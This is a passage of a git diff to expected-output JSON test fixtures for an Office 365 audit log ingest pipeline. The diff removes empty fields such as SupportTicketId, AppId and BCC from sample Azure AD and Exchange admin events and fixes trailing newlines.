- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -3186,7 +3162,6 @@
"ObjectId": "00000003-0000-0ff1-ce00-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0ff1-ce00-000000000000",
@@ -3316,7 +3291,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -3446,7 +3420,6 @@
"ObjectId": "00000003-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0000-c000-000000000000",
@@ -3576,7 +3549,6 @@
"ObjectId": "00000003-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0000-c000-000000000000",
@@ -3706,7 +3678,6 @@
"ObjectId": "0f698dd4-f011-4d23-a33e-b36416dcb1e6",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "0f698dd4-f011-4d23-a33e-b36416dcb1e6",
@@ -3835,7 +3806,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -3966,7 +3936,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Failed",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -4074,7 +4043,6 @@
],
"ActorContextId": "b86ab9d4-fcf1-4b11-8a06-7a8f91b47fbd",
"ActorIpAddress": "67.43.156.13",
- "ApplicationId": "",
"AzureActiveDirectoryEventType": "1",
"CreationTime": "2020-02-12T21:38:19",
"ExtendedProperties": {
@@ -4087,7 +4055,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -4211,7 +4178,6 @@
"ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "5f09333a-842c-47da-a157-57da27fcbca5",
@@ -4319,7 +4285,6 @@
],
"ActorContextId": "b86ab9d4-fcf1-4b11-8a06-7a8f91b47fbd",
"ActorIpAddress": "67.43.156.15",
- "ApplicationId": "",
"AzureActiveDirectoryEventType": "1",
"CreationTime": "2020-02-09T15:30:58",
"ExtendedProperties": {
@@ -4332,7 +4297,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -4457,7 +4421,6 @@
"ObjectId": "797f4846-ba00-4fd7-ba43-dac1f8f63013",
"RecordType": "15",
"ResultStatus": "Failed",
- "SupportTicketId": "",
"Target": [
{
"ID": "797f4846-ba00-4fd7-ba43-dac1f8f63013",
@@ -4565,7 +4528,6 @@
],
"ActorContextId": "b86ab9d4-fcf1-4b11-8a06-7a8f91b47fbd",
"ActorIpAddress": "67.43.156.15",
- "ApplicationId": "",
"AzureActiveDirectoryEventType": "1",
"CreationTime": "2020-02-10T15:14:25",
"ExtendedProperties": {
@@ -4578,7 +4540,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -4703,7 +4664,6 @@
"ObjectId": "797f4846-ba00-4fd7-ba43-dac1f8f63013",
"RecordType": "15",
"ResultStatus": "Failed",
- "SupportTicketId": "",
"Target": [
{
"ID": "797f4846-ba00-4fd7-ba43-dac1f8f63013",
@@ -4833,7 +4793,6 @@
"ObjectId": "797f4846-ba00-4fd7-ba43-dac1f8f63013",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "797f4846-ba00-4fd7-ba43-dac1f8f63013",
@@ -4963,7 +4922,6 @@
"ObjectId": "797f4846-ba00-4fd7-ba43-dac1f8f63013",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "797f4846-ba00-4fd7-ba43-dac1f8f63013",
@@ -5071,7 +5029,6 @@
],
"ActorContextId": "b86ab9d4-fcf1-4b11-8a06-7a8f91b47fbd",
"ActorIpAddress": "67.43.156.13",
- "ApplicationId": "",
"AzureActiveDirectoryEventType": "1",
"CreationTime": "2020-02-12T21:39:45",
"ExtendedProperties": {
@@ -5084,7 +5041,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -5209,7 +5165,6 @@
"ObjectId": "797f4846-ba00-4fd7-ba43-dac1f8f63013",
"RecordType": "15",
"ResultStatus": "Failed",
- "SupportTicketId": "",
"Target": [
{
"ID": "797f4846-ba00-4fd7-ba43-dac1f8f63013",
@@ -5339,7 +5294,6 @@
"ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "5f09333a-842c-47da-a157-57da27fcbca5",
@@ -5469,7 +5423,6 @@
"ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "5f09333a-842c-47da-a157-57da27fcbca5",
@@ -5599,7 +5552,6 @@
"ObjectId": "00000002-0000-0ff1-ce00-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0ff1-ce00-000000000000",
@@ -5707,7 +5659,6 @@
],
"ActorContextId": "b86ab9d4-fcf1-4b11-8a06-7a8f91b47fbd",
"ActorIpAddress": "67.43.156.15",
- "ApplicationId": "",
"AzureActiveDirectoryEventType": "1",
"CreationTime": "2020-02-06T09:28:04",
"ExtendedProperties": {
@@ -5720,7 +5671,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -5844,7 +5794,6 @@
"ObjectId": "00000002-0000-0ff1-ce00-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0ff1-ce00-000000000000",
@@ -5974,7 +5923,6 @@
"ObjectId": "00000002-0000-0ff1-ce00-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0ff1-ce00-000000000000",
@@ -6104,7 +6052,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -6234,7 +6181,6 @@
"ObjectId": "00000004-0000-0ff1-ce00-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000004-0000-0ff1-ce00-000000000000",
@@ -6364,7 +6310,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -6494,7 +6439,6 @@
"ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "5f09333a-842c-47da-a157-57da27fcbca5",
@@ -6624,7 +6568,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -6754,7 +6697,6 @@
"ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "5f09333a-842c-47da-a157-57da27fcbca5",
@@ -6884,7 +6826,6 @@
"ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "5f09333a-842c-47da-a157-57da27fcbca5",
@@ -7014,7 +6955,6 @@
"ObjectId": "00000003-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0000-c000-000000000000",
@@ -7144,7 +7084,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -7274,7 +7213,6 @@
"ObjectId": "00000002-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000002-0000-0000-c000-000000000000",
@@ -7404,7 +7342,6 @@
"ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "5f09333a-842c-47da-a157-57da27fcbca5",
@@ -7534,7 +7471,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -7664,7 +7600,6 @@
"ObjectId": "00000003-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0000-c000-000000000000",
@@ -7794,7 +7729,6 @@
"ObjectId": "00000003-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0000-c000-000000000000",
@@ -7924,7 +7858,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -8054,7 +7987,6 @@
"ObjectId": "00000003-0000-0000-c000-000000000000",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "00000003-0000-0000-c000-000000000000",
@@ -8184,7 +8116,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -8314,7 +8245,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -8444,7 +8374,6 @@
"ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "5f09333a-842c-47da-a157-57da27fcbca5",
@@ -8574,7 +8503,6 @@
"ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "5f09333a-842c-47da-a157-57da27fcbca5",
@@ -8704,7 +8632,6 @@
"ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "5f09333a-842c-47da-a157-57da27fcbca5",
@@ -8834,7 +8761,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Succeeded",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -8899,4 +8825,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-bad-ips.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-bad-ips.json-expected.json
index 55d9c3a9fbf..392d2aa5ef4 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-bad-ips.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-bad-ips.json-expected.json
@@ -243,4 +243,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-duplicated-querytime-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-duplicated-querytime-events.json-expected.json
index 0e9a27d2713..55755dbab65 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-duplicated-querytime-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-duplicated-querytime-events.json-expected.json
@@ -97,4 +97,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-insights-api-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-insights-api-events.json-expected.json
index dbeb35a0e75..da90020bda4 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-insights-api-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-insights-api-events.json-expected.json
@@ -415,4 +415,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-exchange-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-exchange-events.json-expected.json
index cbfd41c3573..3ee10a281ba 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-exchange-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-exchange-events.json-expected.json
@@ -39,7 +39,6 @@
"audit": {
"CreationTime": "2020-02-24T20:11:15",
"ExchangeMetaData": {
- "BCC": [],
"CC": [
"asr@example.net"
],
@@ -210,7 +209,6 @@
"audit": {
"CreationTime": "2020-02-24T20:11:15",
"ExchangeMetaData": {
- "BCC": [],
"CC": [
"asr@example.net"
],
@@ -384,7 +382,6 @@
"Reason": "{ \"Justification\": \"I really need to share those files\" }"
},
"ExchangeMetaData": {
- "BCC": [],
"CC": [
"asr@example.net"
],
@@ -558,7 +555,6 @@
"FalsePositive": true
},
"ExchangeMetaData": {
- "BCC": [],
"CC": [
"asr@example.net"
],
@@ -729,7 +725,6 @@
"audit": {
"CreationTime": "2020-02-24T20:11:15",
"ExchangeMetaData": {
- "BCC": [],
"CC": [
"asr@example.net"
],
@@ -934,4 +929,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-sharepoint-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-sharepoint-events.json-expected.json
index 0fd072146c2..d4d99616eaa 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-sharepoint-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-sharepoint-events.json-expected.json
@@ -42,7 +42,6 @@
"PolicyName": "U.S. Financial Data",
"Rules": [
{
- "ActionParameters": [],
"Actions": [
"NotifyUser"
],
@@ -259,7 +258,6 @@
"PolicyName": "U.S. Financial Data",
"Rules": [
{
- "ActionParameters": [],
"Actions": [
"NotifyUser"
],
@@ -779,4 +777,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-admin-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-admin-events.json-expected.json
index 40bc7b5045d..76bf468b441 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-admin-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-admin-events.json-expected.json
@@ -29,13 +29,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:49",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}",
"Parameters": {
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}"
},
"RecordType": "1",
@@ -96,8 +93,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:14",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}",
@@ -176,8 +171,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:03",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}",
@@ -256,13 +249,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:09",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\2c6709f0-beaf-4ffd-99ea-d02c796c25d3",
"Parameters": {
- "DomainController": "",
"Organization": "testsiem.onmicrosoft.com"
},
"RecordType": "1",
@@ -323,13 +313,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:09",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Admin Audit Log Settings",
"Parameters": {
- "DomainController": "",
"Organization": "testsiem.onmicrosoft.com"
},
"RecordType": "1",
@@ -390,13 +377,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:13",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Transport Settings",
"Parameters": {
- "DomainController": "",
"Identity": "testsiem.onmicrosoft.com",
"OrganizationFederatedMailbox": "FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@testsiem.onmicrosoft.com"
},
@@ -458,8 +442,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:43",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}",
@@ -527,8 +509,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:34",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\OwaMailboxPolicy-Default",
@@ -594,8 +574,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:20",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}",
@@ -674,8 +652,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:17",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}",
@@ -754,14 +730,11 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:04",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com",
"Parameters": {
"DoNotUpdateRecipients": "True",
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com"
},
"RecordType": "1",
@@ -822,8 +795,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:58",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}",
@@ -902,8 +873,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:15",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}",
@@ -982,8 +951,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:09",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}",
@@ -1062,8 +1029,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:15",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}",
@@ -1142,8 +1107,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:09",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}",
@@ -1222,8 +1185,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:18",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/TenantAllowBlocLists_F0767F09-6B4C-4F78-9234-2C0481176063",
@@ -1302,13 +1263,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:55",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com",
"Parameters": {
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com"
},
"RecordType": "1",
@@ -1369,13 +1327,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:13",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Transport Settings",
"Parameters": {
- "DomainController": "",
"Identity": "testsiem.onmicrosoft.com",
"OrganizationFederatedMailbox": "FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@testsiem.onmicrosoft.com"
},
@@ -1437,13 +1392,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:08",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Transport Settings",
"Parameters": {
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com",
"SupervisionTags": "Reject;Allow"
},
@@ -1505,13 +1457,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:55",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com",
"Parameters": {
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com"
},
"RecordType": "1",
@@ -1572,13 +1521,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:52",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Transport Settings",
"Parameters": {
- "DomainController": "",
"Identity": "testsiem.onmicrosoft.com",
"OrganizationFederatedMailbox": "FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@testsiem.onmicrosoft.com"
},
@@ -1640,8 +1586,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:49",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}",
@@ -1720,8 +1664,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:18",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/TenantAllowBlocLists_F0767F09-6B4C-4F78-9234-2C0481176063",
@@ -1800,8 +1742,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:56",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}",
@@ -1880,8 +1820,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:17",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}",
@@ -1960,8 +1898,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:57",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}",
@@ -2040,8 +1976,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:16",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}",
@@ -2120,8 +2054,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:20",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}",
@@ -2200,8 +2132,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:14",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}",
@@ -2280,8 +2210,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:44",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Migration.8f3e7716-2011-43e4-96b1-aba62d229136",
@@ -2362,8 +2290,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:14",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}",
@@ -2442,8 +2368,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:14",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}",
@@ -2522,8 +2446,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:20",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}",
@@ -2602,8 +2524,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:08",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}",
@@ -2682,8 +2602,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:20",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}",
@@ -2762,8 +2680,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
